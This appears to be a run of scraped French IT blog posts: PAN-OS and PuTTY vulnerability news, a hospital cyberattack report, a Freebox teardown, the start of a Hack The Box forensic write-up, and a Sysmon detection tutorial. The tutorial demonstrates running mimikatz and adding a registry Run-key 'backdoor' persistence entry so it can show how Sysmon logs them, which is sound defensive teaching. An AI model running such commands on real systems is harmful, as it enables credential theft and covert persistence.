Depuis quelques jours, la faille de sécurité critique découverte dans le système PAN-OS utilisé par les firewalls de Palo Alto Networks fait beaucoup parler d'elle. Désormais, un code d'exploitation est disponible et pourrait être utilisé pour compromettre les firewalls exposés sur Internet. Faisons le point.

Rappel sur la vulnérabilité CVE-2024-3400

Voici un résumé de la situation actuelle, avec quelques dates et points clés :

Depuis le 26 mars 2024, une nouvelle faille de sécurité zero-day est exploitée par les cybercriminels dans le cadre d'attaque. Elle a été utilisée pour déployer une porte dérobée nommée Upstyle et pivoter vers l'infrastructure interne de l'entreprise. Lors d'une attaque, les pirates sont parvenus à voler des données sensibles telles que la base de données Active Directory.

Vendredi 12 avril 2024, Palo Alto Networks a publié un bulletin de sécurité pour évoquer cette vulnérabilité (CVE-2024-3400) et les risques associés.

Dimanche 14 avril 2024, l'éditeur a publié de premiers correctifs de sécurité à destination de ses firewalls sous PAN-OS : PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1 et PAN-OS 11.1.2-h3. Depuis, de nouveaux correctifs ont été publiés, car Palo Alto Networks va publier des patchs pour une dizaine de versions différentes de PAN-OS.

Voici nos précédents articles pour approfondir le sujet :

• Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !
• Firewalls Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !
• Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles !

Un code d'exploit et des dizaines de milliers de firewalls vulnérables

Le mardi 16 avril 2024, watchTowr Labs a publié un rapport au sujet de cette vulnérabilité, ainsi qu'un PoC d'exploitation permettant d'exécuter des commandes à distance sur un firewall vulnérable. Dans le même temps, Justin Elze, directeur technique de TrustedSec, a également évoqué sur X (Twitter) un exploit utilisé par les cybercriminels pour exporter la configuration du pare-feu Palo Alto pris pour cible.

D'après une carte partagée par The Shadowserver Foundation, il y a environ 156 000 firewalls Palo Alto exposé sur Internet et potentiellement vulnérables. Ce chiffre est à prendre avec des pincettes, car il ne tient pas compte de la version de PAN-OS, ni de la configuration.

Vendredi dernier, le chercheur en sécurité  Yutaka Sejiyama, a partagé sur X (Twitter) des statistiques au sujet des firewalls vulnérables à cette faille de sécurité. Il en a identifié un peu plus de 82 000 firewalls. Ce chiffre a certainement diminué désormais, mais le nombre de cibles potentielles doit rester élevé.

Voici quelques chiffres clés (nombre de firewalls vulnérables par pays) :

• États-Unis : 32 916
• Allemagne : 3 268
• Royaume-Uni : 3 213
• Canada : 2 239
• France : 1 794 (sur un total de 3 162, si l'on s'appuie sur la carte de The Shadowserver Foundation)
• Belgique : 772
• Suisse : 561

Le correctif de sécurité comme seule et unique solution pour se protéger

La seule solution pour vous protéger, c'est d'installer le correctif de sécurité sur votre firewall. La mesure d'atténuation partagée initialement par Palo Alto consistait à désactiver la télémétrie, mais elle n'est pas efficace et ne permet pas de se protéger.

Voici ce que l'on peut lire dans le bulletin de sécurité de Palo Alto : "La désactivation de la télémétrie sur l'équipement n'est plus une mesure d'atténuation efficace. Il n'est pas nécessaire que la télémétrie soit activée pour que les pare-feux PAN-OS soient exposés aux attaques liées à cette vulnérabilité."

Malgré tout, si vous avez un abonnement à la fonction "Threat Prevention", vous pouvez bloquer cette attaque en activant la protection contre la menace avec l'ID 95187. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant cette page de la documentation. Cette méthode est toujours efficace.

Source

The post Patchez votre firewall Palo Alto : un exploit est disponible pour la CVE-2024-3400 first appeared on IT-Connect.

Microsoft 365 has deprecated the search-mailbox cmdlet, a decision that has faced considerable resistance from numerous Exchange Online administrators. In this post, I aim to examine the consequences of this cmdlet's removal and discuss viable alternatives and potential solutions.

I. Présentation

Dans cet article, nous allons nous intéresser à Sysmon, un outil qui permet une meilleure journalisation des évènements de sécurité système sous Windows. Il s'agit d'un élément indispensable pour une surveillance efficace des évènements de sécurité.

Nous allons notamment voir que les évènements Windows par défaut ne permettent pas d'avoir une détection très précise des activités systèmes et des attaques telles qu'elles sont opérées aujourd'hui, et comment Sysmon permet d'améliorer cette détection.

Nous verrons également comment l'installer et le configurer à l'aide de modèles de configuration proposés par la communauté, et analyserons ensuite concrètement les journaux produits par Sysmon.

II. Sysmon : qu'est ce que c'est ?

Sysmon (pour System monitor) est à la fois un service et un driver fournit dans le package SysInternals de Microsoft. Il vise à améliorer la journalisation des évènements Windows avec un focus sur la journalisation des évènements de sécurité système. Il s'agit plus d'un outil de détection que de prévention, dans le sens où il permet une meilleure journalisation des évènements, mais ne permet pas à lui seul de bloquer des activités malveillantes.

Depuis Sysmon 14, Microsoft a revu sa stratégie concernant Sysmon. Celui-ci peut maintenant bloquer des exécutables malveillants ("FileBlockExecutable") ainsi que la suppression de fichiers via certains outils ("FileBlockShredding"). Cette protection n'est cependant pas parfaite et ne remplace par une solution dédiée (EPP/EDR).

Pour être plus clair, voici une partie de la liste des évènements que Sysmon peut surveiller et journaliser :

• Création de processus
• Modification de l'heure de création d'un fichier
• Connexion réseau
• Modification de l'état du service Sysmon
• Fin d'un processus
• Chargement de pilote
• Chargement d'image (injection de DLL)
• Evènement CreateRemoteThread (création d'un thread par un processus)
• Evènement RawAccessRead
• Requête DNS
• ProcessTampering
• etc.

Tous ces évènements peuvent paraitre très (trop) précis pour être intéressants. Mais, tous correspondent à des attaques et modes opératoires bien identifiés et connus des attaquants. Sysmon permet alors de retracer bien plus précisément que les logs par défaut une activité malveillante sur un système.

En plus de journaliser ces évènements clés pour surveiller l'activité d'un système, il inclut plusieurs éléments importants du point de vue des équipes de sécurité et relatifs au contexte de l'évènement :

• les condensats (ou hash) des images des processus lancés
• les GUID des processus (facilite la corrélation des évènements)
• des informations précises sur les connexions réseau (processus source, adresse IP, numéro de port, etc.)
• Integrity Level du processus
• des informations relatives aux métadonnées des processus (signature, auteur, description)
• etc.

Ces différents éléments facilitent également l'investigation numérique ainsi que la recherche et corrélation d'évènements, par exemple, grâce aux IOC (Indicators of compromise) publiés par la communauté ou une équipe interne de Threat Intelligence (adresse IP, nom DNS, hash d'un binaire, etc). Rien de mieux qu'un exemple pour illustrer cela. Comparons la journalisation de l'évènement "Création d'un processus" entre les logs par défaut Windows et les journaux créés par Sysmon (cliquez sur l'image pour zoomer) :

L'eventID 1 (à droite de l'image) créé par Sysmon est beaucoup plus verbeux en contenu technique. Il fournit plus d'informations de contexte autour de l'exécution du processus. Ces informations vont notamment grandement faciliter la recherche et la détection d'activité malveillante qui ont lieu sur le système.

Il faut savoir que l'intérêt de Sysmon est aussi la journalisation d'évènements qui ne sont pas du tout journalisés par Windows (au contraire de la création d'un processus, qui est le cas le plus simple pour exposer les capacités de Sysmon). Nous verrons ensuite que, grâce à la configuration que nous allons utiliser, les TTP (Tactics, Techniques and Procedures ) relatifs à tel ou tel évènement journalisé sont aussi indiqués. Nous comprenons donc bien ici que l'intérêt de Sysmon est d'avoir des logs plus précis, orientés autour d'évènements de sécurité très importants sur un système d'exploitation et facilitant la détection et l'investigation numérique.

Enfin, comme tout élément capable de générer des journaux d'évènement, la puissance Sysmon est décuplée si ces évènements sont centralisés et analysés par une plateforme de type SIEM (ELK, Splunk, etc.) et traités par un SOC (Security Operation Center).

Le code source de Sysmon est public et peut être consulté librement. Ainsi, vous pouvez découvrir précisément comment il fonctionne : Github - Sysinternals/SysmonCommon

III. Logs Windows : quelques trous dans la raquette

Les journaux d'évènements Windows peuvent paraitre complexes au premier abord. D'apparence, ils sont assez verbeux et consultables à travers un outil de visualisation/recherche peu efficace ("Observateur d'évènements"). Il est difficile de trouver exactement ce que l'on cherche si l'on n'y est pas familier.

Également, la politique d'audit par défaut de Windows passe sous silence des évènements importants de l'activité sur le système. Pour illustrer ce constat, intéressons-nous aux journaux produits durant trois étapes d'attaque d'un système. Pour faciliter cette analyse, j'ai créé un filtre de journalisation dans l'Observateur d'évènements qui centralise tous les Event ID, peu importe leur source :

Admettons qu'en tant qu'attaquant, j'exécute le binaire "mimikatz64.exe" :

.\mimikatz64.exe

Par défaut, cette activité n'est pas journalisée comme nous le montre "auditpol.exe" :

Tel que recommandé dans le guide "Recommandations de sécurité pour la journalisation des systèmes Microsoft Windows en environnement Active Directory" de l'ANSSI, nous pouvons positionner la stratégie d'audit "Suivi Détaillé" > "Création du processus" à "Réussite". Alors, si l'on réitère la même opération, un évènement avec l'Event ID "4688 - A new process has been created" sera créé :

La moindre des choses que l'on puisse dire est que cet évènement est peu verbeux. Les seuls éléments concrets dont nous disposons sont : le nom de compte ayant exécuté la commande, le nom du processus créateur et le nom du processus. Par exemple, le simple fait de renommer "mimikatz64.exe" en "itconnect.exe" suffit à contourner l'un des principaux éléments sur lequel une détection serait possible (le nom du processus) :

Dans un second temps, je décide d'ajouter un moyen de persistance en modifiant le contenu de la clé de registre "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run". Cette clé de registre est utilisée pour lancer des binaires au démarrage (voir Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder). Il s'agit d'un moyen de persistance très connu et souvent utilisé par les attaquants, qui leur permet d'avoir une connexion vers leur serveur C2 (Command & Control) dès le démarrage du système compromis :

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v mabackdoor /t REG_SZ /d "Z:\backdoor.exe"

J'utilise ensuite la CmdLet PowerShell "Get-EventLog" pour récupérer les évènements 4657 – A Registry Value Was Modified relatifs à la modification d'une clé de registre :

À nouveau, aucun évènement n'est journalisé par défaut sous Windows lors de la modification des clés de registre. Enfin, je vais initialiser une connexion réseau vers un serveur malveillant afin de récupérer un ransomware :

À nouveau, aucun évènement journalisé.

Comment nous le voyons à travers cet exemple, les journaux d'évènements produits par Windows par défaut ne sont pas suffisants pour tracer exactement le déroulement de mon attaque et de mon activité sur le système. Par défaut, ils ne sont pas tous activés et lorsqu'ils le sont, leur contenu n'est pas assez détaillé pour une investigation numérique efficace.

Autrement dit, si vous subissez une cyberattaque et que, par chance, vos journaux d'évènements sont préservés (externalisation, centralisation, voire sauvegarde), ceux-ci ne seront pas suffisants pour que l'équipe d'investigation numérique ou de remédiation puisse vous dire précisément ce qu'il s'est passé, par où est passé l'attaquant, quelles ont été ses actions, etc.

IV. Déploiement de Sysmon

A. Installer Sysmon de façon classique

Nous allons à présent voir comment installer Sysmon sur un système Windows (serveur ou client, la procédure est la même). Pour acquérir la dernière version de Sysmon, il faut le télécharger depuis le site de Microsoft : SysInternals - Sysmon.

Attention à bien télécharger le binaire depuis le site de Microsoft, et nulle part ailleurs.

Une fois que ce binaire est téléchargé, décompressé et présent sur notre système cible, nous allons ouvrir une Invite de commande en tant qu'administrateur, puis exécuter le binaire avec l'option "-i" :

.\Sysmon64.exe -i -accepteula

Voici la sortie attendue :

L'installation de Sysmon64 entraine notamment la création d'un service "Sysmon64" et l'installation d'un driver "SysmonDrv", dont le rôle est de capturer les évènements de sécurité côté kernel. Le driver échange notamment avec les API Windows et exploite l'Event Tracing for Windows (ETW) pour capturer les informations sur les actions qu'il souhaite surveiller.

Il est important de noter que l'installation de Sysmon est permanente, son service et son driver seront toujours présents et actifs après un redémarrage. Il peut toutefois être désinstallé simplement.

Le driver permet notamment à Sysmon d'utiliser des callbacks, aussi appellés hooks (crochet), sur des fonctions clés du système d'exploitation. Lorsqu'une fonction surveillée est invoquée, le callback associé au driver Sysmon est déclenché. À ce moment-là, Sysmon peut collecter des informations pertinentes sur l'événement en cours, telles que les détails du processus impliqué, les arguments de la fonction, les fichiers accédés, etc. Ces informations sont ensuite journalisées. On retrouve cette mécanique sur la plupart des services type EPP/EDR aujourd'hui.

Aucun redémarrage n'est nécessaire, en vous rendant dans le "Gestionnaire de tâches" puis dans "Services", vous devriez voir le service "Sysmon64" en cours d'exécution :

Vous noterez également qu'il est impossible d'arrêter ce service en tant qu'administrateur :

Cela est dû à une protection mise en place par Windows sur ce service : le Protected Process Light. Cette protection est notamment chargée de vérifier l'intégrité du code pour s'assurer que seul le code "vérifié" et "de confiance" est chargé dans le processus protégé. Ainsi, il ne peut être pris pour cible d'une injection de code ou de DLL et personne ne peut toucher à ce processus :

Grâce à cette protection, il sera plus difficile pour l'attaquant d'altérer le fonctionnement de ce processus en vue de mettre fin à la journalisation de ses actions.

Sysmon s'installe par défaut avec une configuration qui permet de journaliser certains évènements. Cette configuration par défaut peut être consultée via l'option "-s" :

.\Sysmon64.exe -s

Voici le résultat attendu :

Comme vous pouvez le voir, il s'agit d'une configuration au format XML. Celle-ci permet de définir les évènements à journaliser, leur Event ID et leur contenu. Exemple avec la journalisation de la création d'un processus :

Ici, nous voyons dans un premier temps la définition de l'event ID avec son nom et son ID ("1"). Les sections précédentes de cet article contiennent déjà un exemple d'évènement créé via cette règle, vous pourrez donc voir les champs déclarés par la configuration dans cet évènement. Par défaut, la journalisation de cet évènement est activée ("ruledefaut=include"). Ce qui n'est pas le cas de tous les évènements, exemple avec l'évènement "11 - Process Create" :

Ainsi, avec la configuration par défaut, vous ne constaterez aucun évènement avec l'ID 11 dans vos logs. Nous voyons ici qu'il faut savoir lire et comprendre cette configuration, au risque de ne pas être assez précis dans notre journalisation.

Pour visualiser les logs, ouvrez l'Observateur d'évènements, puis rendez-vous dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon".

En fonction de la configuration en place (pour l'instant, celle par défaut), vous verrez dès à présent différents évènements journalisés.

B. Installation discrète de Sysmon

Les attaquants les plus avancés vont toujours commencer par regarder quels sont les composants de sécurité en place sur un système avant de tenter d'aller plus loin dans leur compromission. Il s'agit d'une phase de prise d'information très classique, par exemple :

• Est-ce qu'un EPP (Endpoint Protection) est en place ? Ils peuvent pour cela regarder la liste des processus en cours d'exécution à la recherche de nom d'agents EPP connus (Trellix, Symantec, Sophos, etc.)
• Est-ce que Microsoft Defender est actif ? Si oui, quelle est sa configuration ? Contient-elle des exclusions intéressantes ? Sa base antivirale est-elle à jour ?
• Les journaux d'évènements sont-ils envoyés sur un autre système ? Ce qui serait le signal qu'un SIEM, voire un SOC peut enregistrer et voir son activité malveillante. L'attaquant peut pour cela regarder les processus et services actifs à la recherche d'agent de transmission de log connus, ou encore les connexions établies visant des ports connus, etc.
• Est-ce que Sysmon est installé ? Quelle est sa configuration ? Contient-elle des exclusions intéressantes ?

La réponse à ces questions permet à l'attaquant d'avoir une idée du niveau de discrétion dont il doit faire preuve pour ses prochaines opérations sur le système ou le réseau.

Cependant, Sysmon donne la possibilité aux administrateurs de dissimuler sa présence, notamment en modifiant le nom du driver et du service lorsqu'il s'exécute. Par défaut, comme nous l'avons vu, nous pouvons voir un service "Sysmon64" actif dans la liste des services en cours d'exécution :

Lors de la phase d'installation, Sysmon propose l'option "-d" pour permettre de donner un nom arbitraire au driver Sysmon (limité à 8 caractères). Quant au nom du service, il est déterminé par le nom du binaire exécuté lors de l'installation. Il nous suffit donc de le modifier avant installation :

Une fois cette opération effectuée, il sera plus difficile pour l'attaquant de détecter la présence de Sysmon sur le système :

Sur l'image ci-dessus, le processus Sysmon apparait bien comme "ITCProc". Dès lors, pour gérer le service Sysmon et par exemple, récupérer sa configuration actuelle, il faudra utiliser le binaire nommé "ITCProc.exe", l'utilisation de "Sysmon64.exe" ne fonctionnera plus.

Attention, cette méthode est une dissimulation et il existe d'autres moyens de détecter la présence du driver Sysmon (notamment via son altitude identifier).

V. Configuration de Sysmon

A. Récupération et étude d'une configuration XML Sysmon

À présent, nous allons configurer Sysmon pour qu'il journalise les évènements qui nous intéressent. La configuration par défaut est un bon départ, mais vous allez voir qu'il est possible d'aller beaucoup plus loin assez simplement.

Nous allons notamment nous baser sur des configurations connues et éprouvées créées par la communauté de la cybersécurité. La configuration la plus connue est celle proposée par SwiftOnSecurity, consultable et téléchargeable ici : Github - SwiftOnSecurity :

Cette configuration comporte plusieurs intérêts :

• Elle est éprouvée par la communauté et sa pertinence est reconnue. Vous pouvez notamment jeter un œil à son historique de modification Github.
• Elle est documentée, même si la lecture de son contenu peut être difficile à cause du format XML, elle contient différents commentaires permettant de comprendre ses principales sections, exclusions
• Elle est bien structurée, ce qui permet une compréhension et une modification aisée. Elle peut ainsi servir de base à une configuration propre à vos besoins et environnements
• Elle contient des cas d'exclusions permettant d'éliminer les faux positifs "classiques" sur les OS Windows, facilitant ainsi l'exploitation des journaux créés par Sysmon.
• Elle apporte des éléments de contexte supplémentaires sur chaque Event ID tels que les TTP du MITRE relatif à une action malveillante journalisée.

Bref, utiliser cette configuration apporte une réelle plus-value par rapport à celle par défaut et un gain de temps qui évite d'avoir à concevoir sa propre configuration XML, avec les difficultés que le format et la complexité des uses-case apportent. Avant de l'appliquer, je vous recommande tout de même de finir la lecture de cet article, puis de lire en détail le contenu de la configuration XML, afin que vous sachiez exactement ce qui sera journalisé et ce qui sera exclu de la journalisation.

B. Application d'une nouvelle configuration Sysmon

Il nous suffit donc de télécharger cette configuration XML puis de l'appliquer à Sysmon, nous pouvons utiliser l'option "-c" :

.\Sysmon64.exe -c .\sysmonconfig-export.xml

Voici la sortie attendue :

Pour vérifier que notre configuration est en place, nous pouvons utiliser l'option "-c" de "Sysmon" :

Les éléments de configuration affichés sont à présent très différents et bien plus verbeux que la configuration par défaut de Sysmon.

Nous pouvons à tout moment revenir à la configuration par défaut avec l'option "-c --".

C. Suppression du fichier de configuration

Maintenant que nous avons appliqué notre configuration à Sysmon, il est très important de ne pas laisser le fichier de configuration persister sur le système sous la forme d'un fichier XML. Si l'attaquant accède à ce fichier, il aura la possibilité de comprendre en détail les règles de détection en place, incluant ses potentielles exclusions et exceptions. Ainsi, il pourra construire une attaque qui exploite ou contourne les règles configurées.

En cela, il est mieux de laisser l'attaquant dans le noir et de supprimer cette configuration du système. Attention à ne pas non plus la laisser accessible sur un partage réseau trop ouvert auquel l'attaquant pourrait avoir accès.

Même si le fichier de configuration initial a été supprimé, Sysmon aura toujours cette configuration à disposition. Lors de l'import d'une configuration avec l'option "-c", Sysmon transforme cette configuration XML en blob de données et le stocke dans une clé de registre :

Ce blob de donnée n'est pas facile à parser et l'attaquant aura du mal à récupérer en clair les règles et exclusions de la configuration à partir de celui-ci.

VI. Exemple de journaux Sysmon

Comme nous l'avons vu, les journaux d'évènements Sysmon sont stockés dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon". Si je réitère mon activité malveillante initiale (celle qui n'avait pas été ou peu journalisée par les logs par défaut de Windows) : voici ce que je peux voir dans les logs Sysmon (cliquez sur l'image pour zoomer) :

Nous voyons clairement dans les logs : un event ID 1 - Process Create, un event ID 13 - Registry value set et and event ID 3 : Network Connecion detected. Ce qui correspond et retrace exactement les activités malveillantes réalisées sur le système. Dans la capture ci-dessus, nous avons les détails de l'exécution de "mimikatz64.exe", déjà exposé précédemment dans cet article. On peut noter la présence de nombreuses informations, dont le hash MD5 du binaire, qui ne changera pas en fonction du nom qui lui est donné (bien que des méthodes simples permettent de modifier ce hash pour qu'il ne colle plus aux signatures classiques).

• Pour en savoir plus sur ce qu'est un hash MD5, je vous oriente vers notre article : Gestion d’empreinte numérique sur Linux

Nous pouvons également regarder le contenu de l'évènement relatif à l'ajout d'une valeur dans une clé de registre :

À nouveau, nous avons un grand nombre d'informations à propos de l'évènement, le processus parent, le nom de la clé de registre modifiée, sa valeur, on y retrouve clairement l'exécutable malveillant, etc. Vous remarquerez également la présence du "T1060" dans l'attribut "RuleName", il s'agit de l'identifiant du TTP relatif à cette action malveillante. Cet ajout provient de la configuration SwitfOnSecurity et vise à aider l'analyste à comprendre la nature et l'impact d'un évènement de sécurité.

Pour mieux comprendre l'intérêt et les bénéfices de cette information, regardons par exemple le contenu du TTP T1060 sur le site du framework MITRE ATT&CK (le framework ayant été mis à jour récemment, l'action au TTP 1060 rédige vers son nouvel identifiant : T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ):

Il ne s'agit là que d'un extrait, mais l'on comprend ici bien plus en détail les enjeux de cet évènement : l'attaquant a cherché à établir une persistance sur le système en modifiant une clé de registre contenant des binaires exécutés au démarrage.

Enfin, voici l'évènement relatif au téléchargement d'un binaire malveillant depuis un serveur appartenant à l'attaquant, action qui n'était pas du tout journalisée par les logs par défaut de Windows :

Là aussi, nous obtenons des informations claires et précises sur l'évènement, notamment l'IP, nom et port de destination, qui sont des informations importantes en termes de détection (grâce aux IOC) et d'investigation.

Pour mieux comprendre chaque évènement produit par Sysmon, nous pouvons utiliser la documentation Microsoft, qui référence précisément les eventID et leur définition : Sysmon - Events

VII. Conclusion

J'espère que cet article vous a aidé à mieux comprendre ce qu'est Sysmon, son utilisation standard ainsi que sa plus-value pour la sécurité d'un système Windows et plus globalement du système d'information. Nous n'avons pas fait un tour complet de l'outil, notamment en ce qui concerne les évènements plus techniques (CreateRemoteThread, RawAccessRead, Process Tampering, etc.), ni la construction complète d'un fichier de configuration avec ses exclusions, exceptions, etc. Mais, le contenu de l'article devrait être suffisant pour mettre en place et utiliser Sysmon au sein de votre système d'information.

Ce qu'il est important de retenir au-delà de Sysmon est l'importance d'avoir une journalisation la plus complète et précise possible concernant les évènements de sécurité, puis d'être capable de la centraliser (SIEM) et de surveiller activement et comprendre ces différents évènements. Dans cette démarche macro, Sysmon n'est finalement qu'un point de départ.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Windows : utilisation de Sysmon pour tracer les activités malveillantes first appeared on IT-Connect.

Alpes-Maritime : l'Hôpital Simone Veil de Cannes est actuellement victime d'une cyberattaque ! Certaines activités clés sont paralysées suite à cet incident de sécurité. Voici ce que l'on sait !

Malheureusement, l'Hôpital Simone Veil de Cannes vient s'ajouter à la longue liste d'hôpitaux victimes d'une cyberattaque, malgré tous les efforts effectués par les équipes techniques. Cette cyberattaque s'est visiblement déroulée dans la nuit du 15 au 16 avril, puisque les activités de l'Hôpital sont perturbées depuis mardi 16 avril. Plusieurs systèmes informatiques sont paralysés suite à cet incident.

En réponse à cet incident de sécurité, une cellule de crise a été activée "en lien avec l’Agence Régionale de santé PACA et le Groupement Hospitalier de territoire des Alpes Maritimes, le directeur et le président de la commission médicale d’établissement.", peut-on lire sur le compte X (Twitter) du centre. L'ANSSI est également sur le coup pour l'accompagnement technique.

Cette cyberattaque impact l'hôpital et ce dernier ne peut pas fonctionner normalement. Justement, en attendant un retour à la normale, les opérations non urgentes ont été reportées, tout comme les consultations. "Dans ce cadre, le CH est contraint de reporter l’activité programmée non urgente n’entraînant pas de perte de chance. Les consultations non urgentes sont également reportées jusqu’à retour à la normale.", a indiqué l'Hôpital Simone Veil sur X.

Pour le moment, aucune information n'a été publiée quant à l'origine de cette attaque. Nous ignorons s'il s'agit d'un ransomware. Si vous disposez d'informations supplémentaires, n'hésitez pas à commenter cet article ou à me contacter.

La semaine dernière, c'est la ville de Saint-Nazaire et son agglomération qui ont subi une cyberattaque.

Source

The post L’Hôpital de Cannes victime d’une cyberattaque ! first appeared on IT-Connect.

Vous connaissez probablement l'application PuTTY. Sachez que de nombreuses versions sont affectées par une nouvelle vulnérabilité pouvant permettre de deviner votre clé privée. D'autres applications sont impactées. Faisons le point sur cette menace !

Pour rappel, PuTTY est une application open source permettant de se connecter à des équipements réseaux ou des serveurs distants, généralement sous Linux, par l'intermédiaire de plusieurs protocoles, dont le SSH et le Telnet. Même s'il existe de nombreuses alternatives et des gestionnaires de connexions plus complets, PuTTY reste un "client SSH" populaire et très utilisé par les administrateurs systèmes sous Windows.

Cette vulnérabilité, associée à la référence CVE-2024-31497, a été découverte par Fabian Bäumer et Marcus Brinkmann de l'Université de la Ruhr à Bochum, en Allemagne.

Elle est liée à la manière dont l'application PuTTY génère les nonces ECDSA pour la courbe NIST P-521 utilisée dans le cadre de l'authentification SSH. Un nonce ECDSA est un nombre aléatoire utilisé dans le processus de création de la signature ECDSA. Un nonce est unique pour chaque signature. Dans le cas présent, nous pouvons dire que la fonction de génération de signatures est biaisée à cause de ce problème de sécurité lié à la génération des nonces.

Cette signature numérique est créée à partir de la clé privée de l'utilisateur, et cette clé, comme son nom l'indique, doit rester uniquement en possession de son propriétaire. La signature doit être vérifiée à partir de la clé publique (on parle d'une paire de clés) afin de garantir l'identité de l'utilisateur et sécuriser la connexion.

Calculer la clé privée grâce à la CVE-2024-31497

En exploitant cette vulnérabilité, un attaquant peut parvenir à calculer la clé privée utilisée par l'utilisateur, sans en avoir connaissance à la base.

Pour cela, comme l'explique Marcus Brinkmann sur X (Twitter) : "L'attaque de l'ECDSA avec des nonces biaisés est une technique standard. Un attaquant collecte au moins 521/9≈58 signatures à partir de commits Git signés ou de connexions de victimes au serveur SSH de l'attaquant. Un peu de mathématiques permet à l'attaquant de calculer la clé privée hors ligne."

Ceci implique la collecte de 58 signatures effectuées à partir de la même clé privée pour que celle-ci puisse être découverte. La collecte de ces informations à partir de commits Git signés est certainement plus réaliste et plus "pratique" pour les attaquants.

Pour avoir des techniques, je vous recommande de lire le bulletin de sécurité de PuTTY.

Qui est affecté ? Comment se protéger ?

Cette vulnérabilité, associée à la référence CVE-2024-31497, affecte toutes les versions de PuTTY de la 0.68 à la 0.80, publiée en décembre 2023. La dernière version, à savoir PuTTY 0.81, a été développée et publiée ce lundi 15 avril 2024 dans l'unique but de corriger cette faille de sécurité.

Cependant, il est essentiel de préciser que toutes les clés privées P-521 générée à l'aide d'une version vulnérable de l'outil pourraient être compromises et elles représentent un risque. Dans ce cas, ces clés doivent être renouvelées pour éliminer tous les risques de compromission, et elles sont également à retirer de la liste "authorized_keys" de vos serveurs et équipements.

D'autres logiciels s'appuie directement sur PuTTY et sont également affectés.

Voici une liste, probablement pas exhaustive, de logiciels et des versions impactées :

• FileZilla 3.24.1 - 3.66.5 (corrigé dans 3.67.0)
• WinSCP 5.9.5 - 6.3.2 (corrigé dans 6.3.3)
• TortoiseGit 2.4.0.2 - 2.15.0 (corrigé en 2.15.0.1)
• TortoiseSVN 1.10.0 - 1.14.6 (atténuation possible en configurant TortoiseSVN pour utiliser Plink)

D'autres logiciels sont potentiellement affectés, ce qui pourrait être le cas si un outil s'appuie sur PuTTY (à voir, selon la version).

Source

The post Une faille de sécurité dans le client SSH PuTTY permet de récupérer les clés privées ! first appeared on IT-Connect.

Stéphane Marty s'est attaqué au dernier bébé de Free : la Freebox Ultra. Xavier est allé lui-même expédier ce colis à Stéphane (c'est faux, mais il a mis un mot).

Démontage, analyse des composants, mesures de champs électromagnétiques, consommation. Stéphane Marty passe au crible la dernière box de l'opérateur. En conclusion : une très belle conception, le savoir faire de Free en matière de conception électronique n'est plus à démontrer.

Free a retenu la leçon de la freebox Delta. La Freebox Ultra est beaucoup moins complexe en terme de cartes et de fonctionnalités (plus de DECT, plus de domotique, etc).

En proposant un CPU dernier génération et un support du WiFi 7 dès sa publication en version finale, cette box est prévue pour durer. Et quand on voit aujourd'hui le nombre de Freebox Révolution encore en fonctionnement il n'y pas d'inquiétude à avoir non plus pour celle-ci (seul l'avenir le dira...).

Finalement cette Freebox Ultra est ultra optimisée. Si cette box rencontre un succès ce ne sera pas seulement pour son matériel, mais aussi grâce à l'offre de services que Free a réservé pour cette box :

C’est quoi ce poulet pic.twitter.com/Fu6Mr1Koz0

— Xavier Niel (@Xavier75) January 30, 2024

En effet, dans un contexte d'augmentation permanent des abonnements aux plateformes de diffusion, nombreux sont ceux qui y voient déjà des économies. Au lieu de payer un abonnement à Netflix, Disney+, Prime Vidéo... ils payent un forfait à leur FAI. On se rapproche tout doucement du modèle américain.

On a un peu de mal à s'en souvenir mais lors de son lancement Netflix n'était proposé sur aucune box, et l'accueil des FAI était plutôt froid. Aujourd'hui la situation a bien changé et les opérateurs ont bien compris l'effet levier qu'ils permettent grâce à leur base d'abonnés, tout en prenant une marge "facile" au passage.

Vous n'aimez pas le RSS : abonnez-vous par email
Vous devriez me suivre sur Twitter : @xhark

---

Article original écrit par Mr Xhark publié sur Blogmotion le 17/04/2024 | Pas de commentaire |
Attention : l'intégralité de ce billet est protégée par la licence Creative Commons

Cet article Démontage en règle de la freebox Ultra 🚀 provient de : on Blogmotion.

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés	cat, grep, tail, uniq, framework MITRE ATT&CK

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

